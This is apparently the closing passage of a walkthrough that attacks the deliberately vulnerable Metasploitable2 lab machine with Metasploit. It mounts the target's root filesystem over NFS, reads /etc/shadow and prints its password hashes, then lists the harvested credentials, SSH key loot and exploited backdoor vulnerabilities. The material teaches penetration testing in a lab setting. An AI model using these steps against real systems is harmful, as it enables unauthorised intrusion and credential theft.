msf> mount -o nolock 10.10.10.200:/ /media/nfs
[*] exec: mount -o nolock 10.10.10.200:/ /media/nfs

msf> ls /media/nfs
[*] exec: ls /media/nfs

bin
boot
cdrom
dev
etc
```

```
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
msf> cat /media/nfs/etc/shadow
[*] exec: cat /media/nfs/etc/shadow

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
snmp:*:15480:0:99999:7:::
msf>
```

Another way to get the hashes and also to cause all sorts of other mischief. Now one port we have not had a look at is port 80..

```
msf> links http://10.10.10.200 -dump
[*] exec: links http://10.10.10.200 -dump



                 _                  _       _ _        _     _      ____
  _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
 | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
 | | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
 |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                             |_|



 Warning: Never expose this VM to an untrusted network!
 Contact: msfdev[at]metasploit.com

 Login with msfadmin/msfadmin to get started



     * TWiki
     * phpMyAdmin
     * Mutillidae
     * DVWA
     * WebDAV



msf> links http://10.10.10.200 -source
[*] exec: links http://10.10.10.200 -source

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>


                _                  _       _ _        _     _      ____  
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ 
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ 
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|                                          



Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started



</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>

msf>
```

We can see the *msfadmin/msfadmin* credentials again. Also '*mutillidae*' and '*dvwa*' are target environments in their own right and deserve their own model answers. *PHPMyAdmin* can be used since you have credentials for it, and I have not seen working metasploit modules for *twiki* and *PHPMyAdmin*. So after all this, what can we get from our database?

```
msf > creds

Credentials
===========

host          port  user                pass                                                                    type         active?
----          ----  ----                ----                                                                    ----         -------
10.10.10.200  22                        /root/.msf4/loot/20130606121732_default_10.10.10.200_ssh.id_dsa_110756.txt  ssh_key      true
10.10.10.200  23    postgres            postgres                                                                password     true
10.10.10.200  23    msfadmin            msfadmin                                                                password     true
10.10.10.200  23    user                user                                                                    password     true
10.10.10.200  513   proftpd                                                                                     password     true
10.10.10.200  513   statd                                                                                       password     true
10.10.10.200  513   snmp                                                                                        password     true
10.10.10.200  513   msfadmin                                                                                    password     true
10.10.10.200  513   user                                                                                        password     true
10.10.10.200  513   service                                                                                     password     true
10.10.10.200  5900                      password                                                                password     true
10.10.10.200  22                        /root/.msf4/loot/20130606121730_default_10.10.10.200_ssh.id_rsa_972813.txt  ssh_key      true
10.10.10.200  8180  tomcat              tomcat                                                                  password     true
10.10.10.200  23    service             service                                                                 password     true
10.10.10.200  21    anonymous           mozilla@example.com                                                     password_ro  true
10.10.10.200  21    postgres            postgres                                                                password     true
```

```
10.10.10.200  21    msfadmin            msfadmin                                                                    password     true
10.10.10.200  21    user                user                                                                        password     true
10.10.10.200  21    service             service                                                                     password     true
10.10.10.200  22    postgres            postgres                                                                    password     true
10.10.10.200  22    msfadmin            msfadmin                                                                    password     true
10.10.10.200  22    user                user                                                                        password     true
10.10.10.200  22    service             service                                                                     password     true
10.10.10.200  513   root                                                                                            password     true
10.10.10.200  513   nobody                                                                                          password     true
10.10.10.200  513   proxy                                                                                           password     true
10.10.10.200  513   backup                                                                                          password     true
10.10.10.200  513   syslog                                                                                          password     true
10.10.10.200  513   klog                                                                                            password     true
10.10.10.200  513   ftp                                                                                             password     true
10.10.10.200  513   postgres                                                                                        password     true
10.10.10.200  513   mysql                                                                                           password     true
10.10.10.200  513   tomcat55                                                                                        password     true
10.10.10.200  513   distccd                                                                                         password     true
10.10.10.200  513   telnetd                                                                                         password     true
10.10.10.200  2121  postgres            postgres                                                                    password     true
10.10.10.200  2121  msfadmin            msfadmin                                                                    password     true
10.10.10.200  2121  user                user                                                                        password     true
10.10.10.200  2121  service             service                                                                     password     true
10.10.10.200  3306  root                                                                                            password     true
10.10.10.200  5432  template1/postgres  postgres                                                                    password     true

[*] Found 41 credentials.

msf > vulns
[*] Time: 2013-06-06 03:18:13 UTC Vuln: host=10.10.10.200 name=Telnet Login Check Scanner refs=CVE-1999-0502
[*] Time: 2013-06-06 12:49:29 UTC Vuln: host=10.10.10.200 name=rlogin Authentication Scanner refs=CVE-1999-0502,CVE-1999-0651
[*] Time: 2013-06-06 12:36:38 UTC Vuln: host=10.10.10.200 name=SSH Login Check Scanner refs=CVE-1999-0502
[*] Time: 2013-06-06 16:03:22 UTC Vuln: host=10.10.10.200 name=VSFTPD v2.3.4 Backdoor Command Execution refs=OSVDB-73573,
URL-http://pastebin.com/AetT9sS5,URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
[*] Time: 2013-06-06 16:11:31 UTC Vuln: host=10.10.10.200 name=Samba "username map script" Command Execution
refs=CVE-2007-2447,OSVDB-34700,BID-23972,URL-http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534,
URL-http://samba.org/samba/security/CVE-2007-2447.html
[*] Time: 2013-06-06 16:30:08 UTC Vuln: host=10.10.10.200 name=PostgreSQL for Linux Payload Execution
refs=URL-http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt
[*] Time: 2013-06-06 16:37:46 UTC Vuln: host=10.10.10.200 name=UnrealIRCD 3.2.8.1 Backdoor Command Execution
refs=CVE-2010-2075,OSVDB-65445,URL-http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
[*] Time: 2013-06-06 16:39:38 UTC Vuln: host=10.10.10.200 name=Apache Tomcat Manager Application Deployer Authenticated Code Execution
refs=CVE-2009-3843,OSVDB-60317,CVE-2009-4189,OSVDB-60670,CVE-2009-4188,BID-38084,CVE-2010-0557,
URL-http://www-01.ibm.com/support/docview.wss?uid=swg21419179,CVE-2010-4094,URL-http://www.zerodayinitiative.com/advisories/ZDI-10-214/,CVE-2009-3548,
OSVDB-60176,BID-36954,URL-http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html
[*] Time: 2013-06-06 16:15:06 UTC Vuln: host=10.10.10.200 name=Java RMI Server Insecure Default Configuration Java Code Execution
refs=URL-http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html,MSF-java_rmi_server
msf >
```

I have probably missed a module or two, but we have covered off a lot of the basics of metasploit and shown that there can be multiple ways to exploit a single target. Give it a go and see what you come up with. Have fun and learn.